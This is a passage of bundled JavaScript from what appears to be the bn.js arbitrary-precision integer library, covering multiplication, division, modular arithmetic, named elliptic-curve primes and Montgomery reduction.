Array(N);\n var rwst = new Array(N);\n var iwst = new Array(N);\n var nrws = new Array(N);\n var nrwst = new Array(N);\n var niwst = new Array(N);\n var rmws = out.words;\n rmws.length = N;\n this.convert13b(x.words, x.length, rws, N);\n this.convert13b(y.words, y.length, nrws, N);\n this.transform(rws, _, rwst, iwst, N, rbt);\n this.transform(nrws, _, nrwst, niwst, N, rbt);\n for (var i = 0; i < N; i++) {\n var rx = rwst[i] * nrwst[i] - iwst[i] * niwst[i];\n iwst[i] = rwst[i] * niwst[i] + iwst[i] * nrwst[i];\n rwst[i] = rx;\n }\n this.conjugate(rwst, iwst, N);\n this.transform(rwst, iwst, rmws, _, N, rbt);\n this.conjugate(rmws, _, N);\n this.normalize13b(rmws, N);\n out.negative = x.negative ^ y.negative;\n out.length = x.length + y.length;\n return out._strip();\n };\n BN3.prototype.mul = function mul3(num) {\n var out = new BN3(null);\n out.words = new Array(this.length + num.length);\n return this.mulTo(num, out);\n };\n BN3.prototype.mulf = function mulf(num) {\n var out = new BN3(null);\n out.words = new Array(this.length + num.length);\n return jumboMulTo(this, num, out);\n };\n BN3.prototype.imul = function imul(num) {\n return this.clone().mulTo(num, this);\n };\n BN3.prototype.imuln = function imuln(num) {\n var isNegNum = num < 0;\n if (isNegNum)\n num = -num;\n assert2(typeof num === \"number\");\n assert2(num < 67108864);\n var carry = 0;\n for (var i = 0; i < this.length; i++) {\n var w = (this.words[i] | 0) * num;\n var lo = (w & 67108863) + (carry & 67108863);\n carry >>= 26;\n carry += w / 67108864 | 0;\n carry += lo >>> 26;\n this.words[i] = lo & 67108863;\n }\n if (carry !== 0) {\n this.words[i] = carry;\n this.length++;\n }\n return isNegNum ? this.ineg() : this;\n };\n BN3.prototype.muln = function muln(num) {\n return this.clone().imuln(num);\n };\n BN3.prototype.sqr = function sqr() {\n return this.mul(this);\n };\n BN3.prototype.isqr = function isqr() {\n return this.imul(this.clone());\n };\n BN3.prototype.pow = function pow(num) {\n var w = toBitArray(num);\n if (w.length === 0)\n return new BN3(1);\n var res = this;\n for (var i = 0; i < w.length; i++, res = res.sqr()) {\n if (w[i] !== 0)\n break;\n }\n if (++i < w.length) {\n for (var q = res.sqr(); i < w.length; i++, q = q.sqr()) {\n if (w[i] === 0)\n continue;\n res = res.mul(q);\n }\n }\n return res;\n };\n BN3.prototype.iushln = function iushln(bits) {\n assert2(typeof bits === \"number\" && bits >= 0);\n var r2 = bits % 26;\n var s = (bits - r2) / 26;\n var carryMask = 67108863 >>> 26 - r2 << 26 - r2;\n var i;\n if (r2 !== 0) {\n var carry = 0;\n for (i = 0; i < this.length; i++) {\n var newCarry = this.words[i] & carryMask;\n var c = (this.words[i] | 0) - newCarry << r2;\n this.words[i] = c | carry;\n carry = newCarry >>> 26 - r2;\n }\n if (carry) {\n this.words[i] = carry;\n this.length++;\n }\n }\n if (s !== 0) {\n for (i = this.length - 1; i >= 0; i--) {\n this.words[i + s] = this.words[i];\n }\n for (i = 0; i < s; i++) {\n this.words[i] = 0;\n }\n this.length += s;\n }\n return this._strip();\n };\n BN3.prototype.ishln = function ishln(bits) {\n assert2(this.negative === 0);\n return this.iushln(bits);\n };\n BN3.prototype.iushrn = function iushrn(bits, hint, extended) {\n assert2(typeof bits === \"number\" && bits >= 0);\n var h;\n if (hint) {\n h = (hint - hint % 26) / 26;\n } else {\n h = 0;\n }\n var r2 = bits % 26;\n var s = Math.min((bits - r2) / 26, this.length);\n var mask = 67108863 ^ 67108863 >>> r2 << r2;\n var maskedWords = extended;\n h -= s;\n h = Math.max(0, h);\n if (maskedWords) {\n for (var i = 0; i < s; i++) {\n maskedWords.words[i] = this.words[i];\n }\n maskedWords.length = s;\n }\n if (s === 0) {\n } else if (this.length > s) {\n this.length -= s;\n for (i = 0; i < this.length; i++) {\n this.words[i] = this.words[i + s];\n }\n } else {\n this.words[0] = 0;\n this.length = 1;\n }\n var carry = 0;\n for (i = this.length - 1; i >= 0 && (carry !== 0 || i >= h); i--) {\n var word = this.words[i] | 0;\n this.words[i] = carry << 26 - r2 | word >>> r2;\n carry = word & mask;\n }\n if (maskedWords && carry !== 0) {\n maskedWords.words[maskedWords.length++] = carry;\n }\n if (this.length === 0) {\n this.words[0] = 0;\n this.length = 1;\n }\n return this._strip();\n };\n BN3.prototype.ishrn = function ishrn(bits, hint, extended) {\n assert2(this.negative === 0);\n return this.iushrn(bits, hint, extended);\n };\n BN3.prototype.shln = function shln(bits) {\n return this.clone().ishln(bits);\n };\n BN3.prototype.ushln = function ushln(bits) {\n return this.clone().iushln(bits);\n };\n BN3.prototype.shrn = function shrn(bits) {\n return this.clone().ishrn(bits);\n };\n BN3.prototype.ushrn = function ushrn(bits) {\n return this.clone().iushrn(bits);\n };\n BN3.prototype.testn = function testn(bit) {\n assert2(typeof bit === \"number\" && bit >= 0);\n var r2 = bit % 26;\n var s = (bit - r2) / 26;\n var q = 1 << r2;\n if (this.length <= s)\n return false;\n var w = this.words[s];\n return !!(w & q);\n };\n BN3.prototype.imaskn = function imaskn(bits) {\n assert2(typeof bits === \"number\" && bits >= 0);\n var r2 = bits % 26;\n var s = (bits - r2) / 26;\n assert2(this.negative === 0, \"imaskn works only with positive numbers\");\n if (this.length <= s) {\n return this;\n }\n if (r2 !== 0) {\n s++;\n }\n this.length = Math.min(s, this.length);\n if (r2 !== 0) {\n var mask = 67108863 ^ 67108863 >>> r2 << r2;\n this.words[this.length - 1] &= mask;\n }\n return this._strip();\n };\n BN3.prototype.maskn = function maskn(bits) {\n return this.clone().imaskn(bits);\n };\n BN3.prototype.iaddn = function iaddn(num) {\n assert2(typeof num === \"number\");\n assert2(num < 67108864);\n if (num < 0)\n return this.isubn(-num);\n if (this.negative !== 0) {\n if (this.length === 1 && (this.words[0] | 0) <= num) {\n this.words[0] = num - (this.words[0] | 0);\n this.negative = 0;\n return this;\n }\n this.negative = 0;\n this.isubn(num);\n this.negative = 1;\n return this;\n }\n return this._iaddn(num);\n };\n BN3.prototype._iaddn = function _iaddn(num) {\n this.words[0] += num;\n for (var i = 0; i < this.length && this.words[i] >= 67108864; i++) {\n this.words[i] -= 67108864;\n if (i === this.length - 1) {\n this.words[i + 1] = 1;\n } else {\n this.words[i + 1]++;\n }\n }\n this.length = Math.max(this.length, i + 1);\n return this;\n };\n BN3.prototype.isubn = function isubn(num) {\n assert2(typeof num === \"number\");\n assert2(num < 67108864);\n if (num < 0)\n return this.iaddn(-num);\n if (this.negative !== 0) {\n this.negative = 0;\n this.iaddn(num);\n this.negative = 1;\n return this;\n }\n this.words[0] -= num;\n if (this.length === 1 && this.words[0] < 0) {\n this.words[0] = -this.words[0];\n this.negative = 1;\n } else {\n for (var i = 0; i < this.length && this.words[i] < 0; i++) {\n this.words[i] += 67108864;\n this.words[i + 1] -= 1;\n }\n }\n return this._strip();\n };\n BN3.prototype.addn = function addn(num) {\n return this.clone().iaddn(num);\n };\n BN3.prototype.subn = function subn(num) {\n return this.clone().isubn(num);\n };\n BN3.prototype.iabs = function iabs() {\n this.negative = 0;\n return this;\n };\n BN3.prototype.abs = function abs() {\n return this.clone().iabs();\n };\n BN3.prototype._ishlnsubmul = function _ishlnsubmul(num, mul3, shift) {\n var len = num.length + shift;\n var i;\n this._expand(len);\n var w;\n var carry = 0;\n for (i = 0; i < num.length; i++) {\n w = (this.words[i + shift] | 0) + carry;\n var right = (num.words[i] | 0) * mul3;\n w -= right & 67108863;\n carry = (w >> 26) - (right / 67108864 | 0);\n this.words[i + shift] = w & 67108863;\n }\n for (; i < this.length - shift; i++) {\n w = (this.words[i + shift] | 0) + carry;\n carry = w >> 26;\n this.words[i + shift] = w & 67108863;\n }\n if (carry === 0)\n return this._strip();\n assert2(carry === -1);\n carry = 0;\n for (i = 0; i < this.length; i++) {\n w = -(this.words[i] | 0) + carry;\n carry = w >> 26;\n this.words[i] = w & 67108863;\n }\n this.negative = 1;\n return this._strip();\n };\n BN3.prototype._wordDiv = function _wordDiv(num, mode) {\n var shift = this.length - num.length;\n var a = this.clone();\n var b = num;\n var bhi = b.words[b.length - 1] | 0;\n var bhiBits = this._countBits(bhi);\n shift = 26 - bhiBits;\n if (shift !== 0) {\n b = b.ushln(shift);\n a.iushln(shift);\n bhi = b.words[b.length - 1] | 0;\n }\n var m = a.length - b.length;\n var q;\n if (mode !== \"mod\") {\n q = new BN3(null);\n q.length = m + 1;\n q.words = new Array(q.length);\n for (var i = 0; i < q.length; i++) {\n q.words[i] = 0;\n }\n }\n var diff = a.clone()._ishlnsubmul(b, 1, m);\n if (diff.negative === 0) {\n a = diff;\n if (q) {\n q.words[m] = 1;\n }\n }\n for (var j = m - 1; j >= 0; j--) {\n var qj = (a.words[b.length + j] | 0) * 67108864 + (a.words[b.length + j - 1] | 0);\n qj = Math.min(qj / bhi | 0, 67108863);\n a._ishlnsubmul(b, qj, j);\n while (a.negative !== 0) {\n qj--;\n a.negative = 0;\n a._ishlnsubmul(b, 1, j);\n if (!a.isZero()) {\n a.negative ^= 1;\n }\n }\n if (q) {\n q.words[j] = qj;\n }\n }\n if (q) {\n q._strip();\n }\n a._strip();\n if (mode !== \"div\" && shift !== 0) {\n a.iushrn(shift);\n }\n return {\n div: q || null,\n mod: a\n };\n };\n BN3.prototype.divmod = function divmod(num, mode, positive) {\n assert2(!num.isZero());\n if (this.isZero()) {\n return {\n div: new BN3(0),\n mod: new BN3(0)\n };\n }\n var div, mod, res;\n if (this.negative !== 0 && num.negative === 0) {\n res = this.neg().divmod(num, mode);\n if (mode !== \"mod\") {\n div = res.div.neg();\n }\n if (mode !== \"div\") {\n mod = res.mod.neg();\n if (positive && mod.negative !== 0) {\n mod.iadd(num);\n }\n }\n return {\n div,\n mod\n };\n }\n if (this.negative === 0 && num.negative !== 0) {\n res = this.divmod(num.neg(), mode);\n if (mode !== \"mod\") {\n div = res.div.neg();\n }\n return {\n div,\n mod: res.mod\n };\n }\n if ((this.negative & num.negative) !== 0) {\n res = this.neg().divmod(num.neg(), mode);\n if (mode !== \"div\") {\n mod = res.mod.neg();\n if (positive && mod.negative !== 0) {\n mod.isub(num);\n }\n }\n return {\n div: res.div,\n mod\n };\n }\n if (num.length > this.length || this.cmp(num) < 0) {\n return {\n div: new BN3(0),\n mod: this\n };\n }\n if (num.length === 1) {\n if (mode === \"div\") {\n return {\n div: this.divn(num.words[0]),\n mod: null\n };\n }\n if (mode === \"mod\") {\n return {\n div: null,\n mod: new BN3(this.modrn(num.words[0]))\n };\n }\n return {\n div: this.divn(num.words[0]),\n mod: new BN3(this.modrn(num.words[0]))\n };\n }\n return this._wordDiv(num, mode);\n };\n BN3.prototype.div = function div(num) {\n return this.divmod(num, \"div\", false).div;\n };\n BN3.prototype.mod = function mod(num) {\n return this.divmod(num, \"mod\", false).mod;\n };\n BN3.prototype.umod = function umod(num) {\n return this.divmod(num, \"mod\", true).mod;\n };\n BN3.prototype.divRound = function divRound(num) {\n var dm = this.divmod(num);\n if (dm.mod.isZero())\n return dm.div;\n var mod = dm.div.negative !== 0 ? dm.mod.isub(num) : dm.mod;\n var half = num.ushrn(1);\n var r2 = num.andln(1);\n var cmp = mod.cmp(half);\n if (cmp < 0 || r2 === 1 && cmp === 0)\n return dm.div;\n return dm.div.negative !== 0 ? dm.div.isubn(1) : dm.div.iaddn(1);\n };\n BN3.prototype.modrn = function modrn(num) {\n var isNegNum = num < 0;\n if (isNegNum)\n num = -num;\n assert2(num <= 67108863);\n var p = (1 << 26) % num;\n var acc = 0;\n for (var i = this.length - 1; i >= 0; i--) {\n acc = (p * acc + (this.words[i] | 0)) % num;\n }\n return isNegNum ? -acc : acc;\n };\n BN3.prototype.modn = function modn(num) {\n return this.modrn(num);\n };\n BN3.prototype.idivn = function idivn(num) {\n var isNegNum = num < 0;\n if (isNegNum)\n num = -num;\n assert2(num <= 67108863);\n var carry = 0;\n for (var i = this.length - 1; i >= 0; i--) {\n var w = (this.words[i] | 0) + carry * 67108864;\n this.words[i] = w / num | 0;\n carry = w % num;\n }\n this._strip();\n return isNegNum ? this.ineg() : this;\n };\n BN3.prototype.divn = function divn(num) {\n return this.clone().idivn(num);\n };\n BN3.prototype.egcd = function egcd(p) {\n assert2(p.negative === 0);\n assert2(!p.isZero());\n var x = this;\n var y = p.clone();\n if (x.negative !== 0) {\n x = x.umod(p);\n } else {\n x = x.clone();\n }\n var A = new BN3(1);\n var B = new BN3(0);\n var C = new BN3(0);\n var D = new BN3(1);\n var g = 0;\n while (x.isEven() && y.isEven()) {\n x.iushrn(1);\n y.iushrn(1);\n ++g;\n }\n var yp = y.clone();\n var xp = x.clone();\n while (!x.isZero()) {\n for (var i = 0, im = 1; (x.words[0] & im) === 0 && i < 26; ++i, im <<= 1)\n ;\n if (i > 0) {\n x.iushrn(i);\n while (i-- > 0) {\n if (A.isOdd() || B.isOdd()) {\n A.iadd(yp);\n B.isub(xp);\n }\n A.iushrn(1);\n B.iushrn(1);\n }\n }\n for (var j = 0, jm = 1; (y.words[0] & jm) === 0 && j < 26; ++j, jm <<= 1)\n ;\n if (j > 0) {\n y.iushrn(j);\n while (j-- > 0) {\n if (C.isOdd() || D.isOdd()) {\n C.iadd(yp);\n D.isub(xp);\n }\n C.iushrn(1);\n D.iushrn(1);\n }\n }\n if (x.cmp(y) >= 0) {\n x.isub(y);\n A.isub(C);\n B.isub(D);\n } else {\n y.isub(x);\n C.isub(A);\n D.isub(B);\n }\n }\n return {\n a: C,\n b: D,\n gcd: y.iushln(g)\n };\n };\n BN3.prototype._invmp = function _invmp(p) {\n assert2(p.negative === 0);\n assert2(!p.isZero());\n var a = this;\n var b = p.clone();\n if (a.negative !== 0) {\n a = a.umod(p);\n } else {\n a = a.clone();\n }\n var x1 = new BN3(1);\n var x2 = new BN3(0);\n var delta = b.clone();\n while (a.cmpn(1) > 0 && b.cmpn(1) > 0) {\n for (var i = 0, im = 1; (a.words[0] & im) === 0 && i < 26; ++i, im <<= 1)\n ;\n if (i > 0) {\n a.iushrn(i);\n while (i-- > 0) {\n if (x1.isOdd()) {\n x1.iadd(delta);\n }\n x1.iushrn(1);\n }\n }\n for (var j = 0, jm = 1; (b.words[0] & jm) === 0 && j < 26; ++j, jm <<= 1)\n ;\n if (j > 0) {\n b.iushrn(j);\n while (j-- > 0) {\n if (x2.isOdd()) {\n x2.iadd(delta);\n }\n x2.iushrn(1);\n }\n }\n if (a.cmp(b) >= 0) {\n a.isub(b);\n x1.isub(x2);\n } else {\n b.isub(a);\n x2.isub(x1);\n }\n }\n var res;\n if (a.cmpn(1) === 0) {\n res = x1;\n } else {\n res = x2;\n }\n if (res.cmpn(0) < 0) {\n res.iadd(p);\n }\n return res;\n };\n BN3.prototype.gcd = function gcd(num) {\n if (this.isZero())\n return num.abs();\n if (num.isZero())\n return this.abs();\n var a = this.clone();\n var b = num.clone();\n a.negative = 0;\n b.negative = 0;\n for (var shift = 0; a.isEven() && b.isEven(); shift++) {\n a.iushrn(1);\n b.iushrn(1);\n }\n do {\n while (a.isEven()) {\n a.iushrn(1);\n }\n while (b.isEven()) {\n b.iushrn(1);\n }\n var r2 = a.cmp(b);\n if (r2 < 0) {\n var t = a;\n a = b;\n b = t;\n } else if (r2 === 0 || b.cmpn(1) === 0) {\n break;\n }\n a.isub(b);\n } while (true);\n return b.iushln(shift);\n };\n BN3.prototype.invm = function invm(num) {\n return this.egcd(num).a.umod(num);\n };\n BN3.prototype.isEven = function isEven() {\n return (this.words[0] & 1) === 0;\n };\n BN3.prototype.isOdd = function isOdd() {\n return (this.words[0] & 1) === 1;\n };\n BN3.prototype.andln = function andln(num) {\n return this.words[0] & num;\n };\n BN3.prototype.bincn = function bincn(bit) {\n assert2(typeof bit === \"number\");\n var r2 = bit % 26;\n var s = (bit - r2) / 26;\n var q = 1 << r2;\n if (this.length <= s) {\n this._expand(s + 1);\n this.words[s] |= q;\n return this;\n }\n var carry = q;\n for (var i = s; carry !== 0 && i < this.length; i++) {\n var w = this.words[i] | 0;\n w += carry;\n carry = w >>> 26;\n w &= 67108863;\n this.words[i] = w;\n }\n if (carry !== 0) {\n this.words[i] = carry;\n this.length++;\n }\n return this;\n };\n BN3.prototype.isZero = function isZero() {\n return this.length === 1 && this.words[0] === 0;\n };\n BN3.prototype.cmpn = function cmpn(num) {\n var negative = num < 0;\n if (this.negative !== 0 && !negative)\n return -1;\n if (this.negative === 0 && negative)\n return 1;\n this._strip();\n var res;\n if (this.length > 1) {\n res = 1;\n } else {\n if (negative) {\n num = -num;\n }\n assert2(num <= 67108863, \"Number is too big\");\n var w = this.words[0] | 0;\n res = w === num ? 0 : w < num ? -1 : 1;\n }\n if (this.negative !== 0)\n return -res | 0;\n return res;\n };\n BN3.prototype.cmp = function cmp(num) {\n if (this.negative !== 0 && num.negative === 0)\n return -1;\n if (this.negative === 0 && num.negative !== 0)\n return 1;\n var res = this.ucmp(num);\n if (this.negative !== 0)\n return -res | 0;\n return res;\n };\n BN3.prototype.ucmp = function ucmp(num) {\n if (this.length > num.length)\n return 1;\n if (this.length < num.length)\n return -1;\n var res = 0;\n for (var i = this.length - 1; i >= 0; i--) {\n var a = this.words[i] | 0;\n var b = num.words[i] | 0;\n if (a === b)\n continue;\n if (a < b) {\n res = -1;\n } else if (a > b) {\n res = 1;\n }\n break;\n }\n return res;\n };\n BN3.prototype.gtn = function gtn(num) {\n return this.cmpn(num) === 1;\n };\n BN3.prototype.gt = function gt(num) {\n return this.cmp(num) === 1;\n };\n BN3.prototype.gten = function gten(num) {\n return this.cmpn(num) >= 0;\n };\n BN3.prototype.gte = function gte(num) {\n return this.cmp(num) >= 0;\n };\n BN3.prototype.ltn = function ltn(num) {\n return this.cmpn(num) === -1;\n };\n BN3.prototype.lt = function lt(num) {\n return this.cmp(num) === -1;\n };\n BN3.prototype.lten = function lten(num) {\n return this.cmpn(num) <= 0;\n };\n BN3.prototype.lte = function lte(num) {\n return this.cmp(num) <= 0;\n };\n BN3.prototype.eqn = function eqn(num) {\n return this.cmpn(num) === 0;\n };\n BN3.prototype.eq = function eq4(num) {\n return this.cmp(num) === 0;\n };\n BN3.red = function red(num) {\n return new Red(num);\n };\n BN3.prototype.toRed = function toRed(ctx) {\n assert2(!this.red, \"Already a number in reduction context\");\n assert2(this.negative === 0, \"red works only with positives\");\n return ctx.convertTo(this)._forceRed(ctx);\n };\n BN3.prototype.fromRed = function fromRed() {\n assert2(this.red, \"fromRed works only with numbers in reduction context\");\n return this.red.convertFrom(this);\n };\n BN3.prototype._forceRed = function _forceRed(ctx) {\n this.red = ctx;\n return this;\n };\n BN3.prototype.forceRed = function forceRed(ctx) {\n assert2(!this.red, \"Already a number in reduction context\");\n return this._forceRed(ctx);\n };\n BN3.prototype.redAdd = function redAdd(num) {\n assert2(this.red, \"redAdd works only with red numbers\");\n return this.red.add(this, num);\n };\n BN3.prototype.redIAdd = function redIAdd(num) {\n assert2(this.red, \"redIAdd works only with red numbers\");\n return this.red.iadd(this, num);\n };\n BN3.prototype.redSub = function redSub(num) {\n assert2(this.red, \"redSub works only with red numbers\");\n return this.red.sub(this, num);\n };\n BN3.prototype.redISub = function redISub(num) {\n assert2(this.red, \"redISub works only with red numbers\");\n return this.red.isub(this, num);\n };\n BN3.prototype.redShl = function redShl(num) {\n assert2(this.red, \"redShl works only with red numbers\");\n return this.red.shl(this, num);\n };\n BN3.prototype.redMul = function redMul(num) {\n assert2(this.red, \"redMul works only with red numbers\");\n this.red._verify2(this, num);\n return this.red.mul(this, num);\n };\n BN3.prototype.redIMul = function redIMul(num) {\n assert2(this.red, \"redMul works only with red numbers\");\n this.red._verify2(this, num);\n return this.red.imul(this, num);\n };\n BN3.prototype.redSqr = function redSqr() {\n assert2(this.red, \"redSqr works only with red numbers\");\n this.red._verify1(this);\n return this.red.sqr(this);\n };\n BN3.prototype.redISqr = function redISqr() {\n assert2(this.red, \"redISqr works only with red numbers\");\n this.red._verify1(this);\n return this.red.isqr(this);\n };\n BN3.prototype.redSqrt = function redSqrt() {\n assert2(this.red, \"redSqrt works only with red numbers\");\n this.red._verify1(this);\n return this.red.sqrt(this);\n };\n BN3.prototype.redInvm = function redInvm() {\n assert2(this.red, \"redInvm works only with red numbers\");\n this.red._verify1(this);\n return this.red.invm(this);\n };\n BN3.prototype.redNeg = function redNeg() {\n assert2(this.red, \"redNeg works only with red numbers\");\n this.red._verify1(this);\n return this.red.neg(this);\n };\n BN3.prototype.redPow = function redPow(num) {\n assert2(this.red && !num.red, \"redPow(normalNum)\");\n this.red._verify1(this);\n return this.red.pow(this, num);\n };\n var primes = {\n k256: null,\n p224: null,\n p192: null,\n p25519: null\n };\n function MPrime(name, p) {\n this.name = name;\n this.p = new BN3(p, 16);\n this.n = this.p.bitLength();\n this.k = new BN3(1).iushln(this.n).isub(this.p);\n this.tmp = this._tmp();\n }\n MPrime.prototype._tmp = function _tmp() {\n var tmp = new BN3(null);\n tmp.words = new Array(Math.ceil(this.n / 13));\n return tmp;\n };\n MPrime.prototype.ireduce = function ireduce(num) {\n var r2 = num;\n var rlen;\n do {\n this.split(r2, this.tmp);\n r2 = this.imulK(r2);\n r2 = r2.iadd(this.tmp);\n rlen = r2.bitLength();\n } while (rlen > this.n);\n var cmp = rlen < this.n ? -1 : r2.ucmp(this.p);\n if (cmp === 0) {\n r2.words[0] = 0;\n r2.length = 1;\n } else if (cmp > 0) {\n r2.isub(this.p);\n } else {\n if (r2.strip !== void 0) {\n r2.strip();\n } else {\n r2._strip();\n }\n }\n return r2;\n };\n MPrime.prototype.split = function split(input, out) {\n input.iushrn(this.n, 0, out);\n };\n MPrime.prototype.imulK = function imulK(num) {\n return num.imul(this.k);\n };\n function K256() {\n MPrime.call(\n this,\n \"k256\",\n \"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f\"\n );\n }\n inherits2(K256, MPrime);\n K256.prototype.split = function split(input, output) {\n var mask = 4194303;\n var outLen = Math.min(input.length, 9);\n for (var i = 0; i < outLen; i++) {\n output.words[i] = input.words[i];\n }\n output.length = outLen;\n if (input.length <= 9) {\n input.words[0] = 0;\n input.length = 1;\n return;\n }\n var prev = input.words[9];\n output.words[output.length++] = prev & mask;\n for (i = 10; i < input.length; i++) {\n var next = input.words[i] | 0;\n input.words[i - 10] = (next & mask) << 4 | prev >>> 22;\n prev = next;\n }\n prev >>>= 22;\n input.words[i - 10] = prev;\n if (prev === 0 && input.length > 10) {\n input.length -= 10;\n } else {\n input.length -= 9;\n }\n };\n K256.prototype.imulK = function imulK(num) {\n num.words[num.length] = 0;\n num.words[num.length + 1] = 0;\n num.length += 2;\n var lo = 0;\n for (var i = 0; i < num.length; i++) {\n var w = num.words[i] | 0;\n lo += w * 977;\n num.words[i] = lo & 67108863;\n lo = w * 64 + (lo / 67108864 | 0);\n }\n if (num.words[num.length - 1] === 0) {\n num.length--;\n if (num.words[num.length - 1] === 0) {\n num.length--;\n }\n }\n return num;\n };\n function P224() {\n MPrime.call(\n this,\n \"p224\",\n \"ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001\"\n );\n }\n inherits2(P224, MPrime);\n function P192() {\n MPrime.call(\n this,\n \"p192\",\n \"ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff\"\n );\n }\n inherits2(P192, MPrime);\n function P25519() {\n MPrime.call(\n this,\n \"25519\",\n \"7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed\"\n );\n }\n inherits2(P25519, MPrime);\n P25519.prototype.imulK = function imulK(num) {\n var carry = 0;\n for (var i = 0; i < num.length; i++) {\n var hi = (num.words[i] | 0) * 19 + carry;\n var lo = hi & 67108863;\n hi >>>= 26;\n num.words[i] = lo;\n carry = hi;\n }\n if (carry !== 0) {\n num.words[num.length++] = carry;\n }\n return num;\n };\n BN3._prime = function prime(name) {\n if (primes[name])\n return primes[name];\n var prime2;\n if (name === \"k256\") {\n prime2 = new K256();\n } else if (name === \"p224\") {\n prime2 = new P224();\n } else if (name === \"p192\") {\n prime2 = new P192();\n } else if (name === \"p25519\") {\n prime2 = new P25519();\n } else {\n throw new Error(\"Unknown prime \" + name);\n }\n primes[name] = prime2;\n return prime2;\n };\n function Red(m) {\n if (typeof m === \"string\") {\n var prime = BN3._prime(m);\n this.m = prime.p;\n this.prime = prime;\n } else {\n assert2(m.gtn(1), \"modulus must be greater than 1\");\n this.m = m;\n this.prime = null;\n }\n }\n Red.prototype._verify1 = function _verify1(a) {\n assert2(a.negative === 0, \"red works only with positives\");\n assert2(a.red, \"red works only with red numbers\");\n };\n Red.prototype._verify2 = function _verify2(a, b) {\n assert2((a.negative | b.negative) === 0, \"red works only with positives\");\n assert2(\n a.red && a.red === b.red,\n \"red works only with red numbers\"\n );\n };\n Red.prototype.imod = function imod(a) {\n if (this.prime)\n return this.prime.ireduce(a)._forceRed(this);\n move(a, a.umod(this.m)._forceRed(this));\n return a;\n };\n Red.prototype.neg = function neg3(a) {\n if (a.isZero()) {\n return a.clone();\n }\n return this.m.sub(a)._forceRed(this);\n };\n Red.prototype.add = function add3(a, b) {\n this._verify2(a, b);\n var res = a.add(b);\n if (res.cmp(this.m) >= 0) {\n res.isub(this.m);\n }\n return res._forceRed(this);\n };\n Red.prototype.iadd = function iadd(a, b) {\n this._verify2(a, b);\n var res = a.iadd(b);\n if (res.cmp(this.m) >= 0) {\n res.isub(this.m);\n }\n return res;\n };\n Red.prototype.sub = function sub(a, b) {\n this._verify2(a, b);\n var res = a.sub(b);\n if (res.cmpn(0) < 0) {\n res.iadd(this.m);\n }\n return res._forceRed(this);\n };\n Red.prototype.isub = function isub(a, b) {\n this._verify2(a, b);\n var res = a.isub(b);\n if (res.cmpn(0) < 0) {\n res.iadd(this.m);\n }\n return res;\n };\n Red.prototype.shl = function shl(a, num) {\n this._verify1(a);\n return this.imod(a.ushln(num));\n };\n Red.prototype.imul = function imul(a, b) {\n this._verify2(a, b);\n return this.imod(a.imul(b));\n };\n Red.prototype.mul = function mul3(a, b) {\n this._verify2(a, b);\n return this.imod(a.mul(b));\n };\n Red.prototype.isqr = function isqr(a) {\n return this.imul(a, a.clone());\n };\n Red.prototype.sqr = function sqr(a) {\n return this.mul(a, a);\n };\n Red.prototype.sqrt = function sqrt(a) {\n if (a.isZero())\n return a.clone();\n var mod3 = this.m.andln(3);\n assert2(mod3 % 2 === 1);\n if (mod3 === 3) {\n var pow = this.m.add(new BN3(1)).iushrn(2);\n return this.pow(a, pow);\n }\n var q = this.m.subn(1);\n var s = 0;\n while (!q.isZero() && q.andln(1) === 0) {\n s++;\n q.iushrn(1);\n }\n assert2(!q.isZero());\n var one = new BN3(1).toRed(this);\n var nOne = one.redNeg();\n var lpow = this.m.subn(1).iushrn(1);\n var z = this.m.bitLength();\n z = new BN3(2 * z * z).toRed(this);\n while (this.pow(z, lpow).cmp(nOne) !== 0) {\n z.redIAdd(nOne);\n }\n var c = this.pow(z, q);\n var r2 = this.pow(a, q.addn(1).iushrn(1));\n var t = this.pow(a, q);\n var m = s;\n while (t.cmp(one) !== 0) {\n var tmp = t;\n for (var i = 0; tmp.cmp(one) !== 0; i++) {\n tmp = tmp.redSqr();\n }\n assert2(i < m);\n var b = this.pow(c, new BN3(1).iushln(m - i - 1));\n r2 = r2.redMul(b);\n c = b.redSqr();\n t = t.redMul(c);\n m = i;\n }\n return r2;\n };\n Red.prototype.invm = function invm(a) {\n var inv = a._invmp(this.m);\n if (inv.negative !== 0) {\n inv.negative = 0;\n return this.imod(inv).redNeg();\n } else {\n return this.imod(inv);\n }\n };\n Red.prototype.pow = function pow(a, num) {\n if (num.isZero())\n return new BN3(1).toRed(this);\n if (num.cmpn(1) === 0)\n return a.clone();\n var windowSize = 4;\n var wnd = new Array(1 << windowSize);\n wnd[0] = new BN3(1).toRed(this);\n wnd[1] = a;\n for (var i = 2; i < wnd.length; i++) {\n wnd[i] = this.mul(wnd[i - 1], a);\n }\n var res = wnd[0];\n var current = 0;\n var currentLen = 0;\n var start = num.bitLength() % 26;\n if (start === 0) {\n start = 26;\n }\n for (i = num.length - 1; i >= 0; i--) {\n var word = num.words[i];\n for (var j = start - 1; j >= 0; j--) {\n var bit = word >> j & 1;\n if (res !== wnd[0]) {\n res = this.sqr(res);\n }\n if (bit === 0 && current === 0) {\n currentLen = 0;\n continue;\n }\n current <<= 1;\n current |= bit;\n currentLen++;\n if (currentLen !== windowSize && (i !== 0 || j !== 0))\n continue;\n res = this.mul(res, wnd[current]);\n currentLen = 0;\n current = 0;\n }\n start = 26;\n }\n return res;\n };\n Red.prototype.convertTo = function convertTo(num) {\n var r2 = num.umod(this.m);\n return r2 === num ? r2.clone() : r2;\n };\n Red.prototype.convertFrom = function convertFrom(num) {\n var res = num.clone();\n res.red = null;\n return res;\n };\n BN3.mont = function mont(num) {\n return new Mont(num);\n };\n function Mont(m) {\n Red.call(this, m);\n this.shift = this.m.bitLength();\n if (this.shift % 26 !== 0) {\n this.shift += 26 - this.shift % 26;\n }\n this.r = new BN3(1).iushln(this.shift);\n this.r2 = this.imod(this.r.sqr());\n this.rinv = this.r._invmp(this.m);\n this.minv = this.rinv.mul(this.r).isubn(1).div(this.m);\n this.minv = this.minv.umod(this.r);\n this.minv = this.r.sub(this.minv);\n }\n inherits2(Mont, Red);\n Mont.prototype.convertTo = function convertTo(num) {\n return this.imod(num.ushln(this.shift));\n };\n Mont.prototype.convertFrom = function convertFrom(num) {\n var r2 = this.imod(num.mul(this.rinv));\n r2.red = null;\n return r2;\n };\n Mont.prototype.imul = function imul(a, b) {\n if (a.isZero() || b.isZero()) {\n a.words[0] = 0;\n a.length = 1;\n return a;\n }\n var t = a.imul(b);\n var c = t.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m);\n var u = 